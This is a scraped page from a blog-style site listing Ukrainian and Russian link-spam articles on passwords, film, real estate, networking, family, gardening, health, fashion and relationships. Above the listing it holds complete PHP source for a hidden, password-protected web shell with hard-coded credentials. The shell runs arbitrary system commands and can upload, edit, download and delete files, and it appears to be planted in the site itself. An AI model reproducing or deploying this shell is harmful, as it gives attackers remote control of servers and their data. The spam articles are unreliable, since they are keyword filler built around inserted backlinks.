if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 10 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Методи захисту особистих даних в Інтернеті для користувачів

    Завжди використовуйте унікальні комбінації для різних акаунтів. Ніколи не повторюйте паролі між платформами. Рекомендовано обирати комбінації з великих і малих літер, goodtech.com.ua цифр і спеціальних символів для підвищення складності. Використання двофакторної аутентифікації значно знижує ризики несанкціонованого доступу. Підключайте цей метод на всіх доступних ресурсах, він додає додатковий рівень захисту, навіть якщо ваш пароль зламано. Регулярно…

    Click or not…

  • Кар’єра Джонні Деппа його досягнення та суперечливі моменти

    Досягнення в кінематографі Визнання у галузі розваг розпочалося з головних ролей у культових фільмах. Різні нагороди, https://driver.in.ua/ включно з Оскаром, підтверджують його виняткові акторські здібності. Значні успіхи є у таких стрічках, як «Пірати Карибського моря», де роль пірата створила культовий образ. Багато фільмів з його участю стали комерційно успішними, включаючи «Сонний прогін» та «Ромовий щоденник».…

    Click or not…

  • Складська нерухомість як перспективний інвестиційний актив

    Придбання складських приміщень може стати вигідною стратегією для інвесторів, https://architector.com.ua/ які прагнуть диверсифікувати свій портфель. Фактори, що сприяють зростанню цього сегмента, включають збільшений обсяг електронної комерції, а також потребу в логістичних послугах. У містах з високою інфраструктурною розвиненістю попит на такі об’єкти зростає пропорційно до життєвого циклу бізнес-інтересів. Згідно з аналітичними даними, середня рентабельність інвестицій…

    Click or not…

  • Налаштування корпоративної мережі без помилок та ризиків

    Розпочніть з якісного планування IP-адрес. Рекомендується використовувати статичні адреси для сервісів, таких як сервери, принтери та маршрутизатори. Визначте підмережі в залежності від кількості пристроїв, proitservice.com.ua які підключаються, щоб забезпечити зручний доступ та управління. Не забувайте про резервне копіювання налаштувань – це критично для підтримки стабільності вашої системи. Обрані маршрутизатори і комутатори повинні відповідати вимогам вашої…

    Click or not…

  • Як побудувати гармонійні стосунки у вашій родині щодня

    Для зміцнення теплих взаємин у родині важливо щоденно практикувати відкриту комунікацію. Висловлення своїх почуттів і потреб без страху осуду створює простір для довіри та взаєморозуміння. Приділяйте увагу регулярним обговоренням важливих питань, https://womanworld.com.ua адже це допомагає уникнути непорозумінь та конфліктів у майбутньому. Наступний крок – це спільні активності. Витрачайте час разом, займаючись улюбленими справами, будь ласка,…

    Click or not…

  • Секрети успішного вирощування розсади в домашніх умовах

    Вибір правильного ґрунту – ключ до успішного розвитку молодих рослин. Використовуйте легкий, agrotis.com.ua водопроникний субстрат, що включає торф, перліт та компост. Це сприятиме розвитку кореневої системи і запобігатиме застою вологи. Температура повітря має відповідати потребам конкретних культур. Більшість кімнатних рослин потребують температури в межах 18-22°C. Зверніть увагу на наявність яскравого, але розсіяного світла, що допоможе…

    Click or not…

  • Практичні поради для поліпшення здоров’я вашого кишківника

    Додайте до свого меню більше клітковини, споживаючи овочі, фрукти, цільнозернові продукти та бобові. Включення цих продуктів сприяє ефективному переварюванню їжі, mylikari.com.ua а також покращує мікрофлору кишечника. Зменште споживання оброблених харчових продуктів. Вони містять багато шкідливих добавок, цукру і насичених жирів, що негативно впливають на травлення. Вибирайте свіжі інгредієнти та готуйте власні страви. Регулярно вживайте пробіотики…

    Click or not…

  • Модні тренди 2026 для стильного життя та впевненості в собі

    Віддайте перевагу кольоровим пальто з екологічних матеріалів. Це не лише підкреслить ваш стиль, а й свідчитиме про свідоме споживання. Обирайте моделі з насиченими відтінками, modny.com.ua такими як смарагдовий або глибокий бордовий. На піку популярності будуть широкі штанини. Цей фасон додає свободи рухів і підходить до будь-якого типу фігури. Поєднуйте їх із облеглими блузами або светрами…

    Click or not…

  • От знакомства к отношениям: главные этапы сближения

    В современном мире, https://palkalove.com.ua где взаимодействие между людьми стало более доступным благодаря технологиям, процесс знакомства и перехода к отношениям стал более сложным и многогранным. Понимание основных этапов сближения может помочь людям не только в личной жизни, но и в построении здоровых и крепких отношений. В данной статье мы рассмотрим ключевые этапы, которые обычно проходят люди…

    Click or not…

  • Как понять, что отношения изжили себя

    Отношения — это сложный и многогранный процесс, который требует постоянного внимания и работы с обеих сторон. Однако, иногда приходит момент, когда отношения начинают терять свою значимость и эмоциональную насыщенность. Важно уметь распознать признаки того, что отношения изжили себя, чтобы не тратить время на то, https://secretheat.com.ua/ что уже не приносит радости и удовлетворения. Первый и, пожалуй,…

    Click or not…